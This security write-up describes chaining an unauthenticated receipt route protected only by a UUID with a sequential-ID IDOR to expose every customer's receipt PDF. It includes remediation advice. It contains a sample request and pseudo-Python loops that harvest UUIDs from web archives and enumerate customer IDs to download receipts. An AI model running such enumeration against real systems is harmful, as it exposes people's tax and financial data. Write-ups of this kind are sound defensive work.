When a UUID is not authorisation: customer receipts exposed by chaining two IDORs
The route that served a customer receipt was protected by a 128-bit UUID. Guessing it was out of the question, so the team stopped trying and looked for where it was written down instead.
Summary
The receipt route never checked who was asking for the document: holding the UUID was treated as permission. That is the underlying confusion between an identifier that is hard to guess and an authorisation decision.
An unguessable identifier only protects while nobody can read it somewhere else. Here it could be read in two places, and neither of them was the application: in the services that archive public addresses, where receipt URLs had been recorded with their identifier inside, and in a second insecure direct reference, this one with sequential identifiers, that returned them one by one.
On their own, each piece would have been a medium-severity finding. Chained, they turn one isolated document into read access to the receipts of the entire customer base. The issue has been fixed.
Technical detail
The receipt route
With the UUID in hand, the receipt was served with no session and no ownership check:
GET /customers/receipts/8f14e45f-ceea-467a-9a1b-3d6c2f0b17ac HTTP/1.1
Host: [TARGET]
HTTP/1.1 200 OK
Content-Type: application/pdf
Content-Disposition: inline; filename="receipt-[REF].pdf"The document carried the customer’s name, billing address, tax identifier, description and amount.
First source: the addresses were already archived
A receipt link gets emailed, pasted into a ticket, opened from a corporate network. Every one of those steps leaves a trace outside the organisation. Searching public services that keep addresses (web archives, link analysis platforms and the search engines themselves) turned up receipt URLs with their UUID inside, and they were still serving the document:
UUID_RE = r"[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}"
PATH = "/customers/receipts/"
# None of these sources belongs to the target, and none asks for a login
for source in (web_archive, link_analysis, search_engines):
for url in source.search(domain=TARGET, contains=PATH):
uuid = findall(UUID_RE, url)
if uuid and get(PATH + uuid[0]).status == 200:
keep(uuid[0]) # the document was still being servedSecond source: a plain IDOR that handed over the UUID
A secondary feature of the same application accepted a sequential numeric identifier and answered with the customer record, the receipt UUID included. That second direct reference turned partial harvesting into full enumeration:
for customer_id in range(1, 100000):
record = get(f"/[FEATURE]?id={customer_id}")
if record.ok:
uuid = record.json["receipt_uuid"]
pdf = get(f"/customers/receipts/{uuid}") # 200 OKThe chain
The three pieces, in order, describe the whole route:
1. URLs archived by others -> valid receipt UUIDs, without touching the target
2. IDOR on a sequential id -> any customer's UUID, one by one
3. Receipt route, no authz -> full PDF for every customerAn unguessable identifier lowers the odds of a lucky hit; it does not replace a permission check. The moment that identifier travels inside a URL it stops being under your control: it sits in browser history, in the referrer header, in intermediary logs and in the public archives of the web. From then on it is no longer a secret, and the route that depended on it is open.
Impact
- Read access to receipts across the whole customer base, with no authentication
- Tax and contact data exposed: name, address, tax identifier and amounts
- Full enumeration through the sequential identifiers of the secondary feature
- Addresses retained by third parties, beyond the reach of any fix made on the server
- Confidentiality breach covering personal and financial data of third parties
Remediation
- Authorise every route. Check that the session requesting the receipt owns the document, UUID or no UUID.
- Stop identifiers travelling further than they need to. Do not return the receipt UUID in responses that have no use for it.
- Single-use links. If the document is shared, sign the link and give it an expiry instead of leaving it permanent.
- Treat every shared URL as public. Request removal of the addresses already archived, and assume the rest are still out there.
- Authorise the secondary feature too. The IDOR on the sequential identifier was half the chain.
References
- OWASP API Security Top 10: API1:2023 BOLA
- CWE-639: Authorization Bypass Through User-Controlled Key
- IDOR in a REST API leading to mass exposure of personal data, where the recommendation was to replace sequential identifiers with UUIDs. This write-up explains why that change, on its own, does not close the hole.
More write-ups
Chains do not come out of a scanner: they come from joining by hand what looks minor on its own
Tell us which assets you want tested. We reply within 24 hours.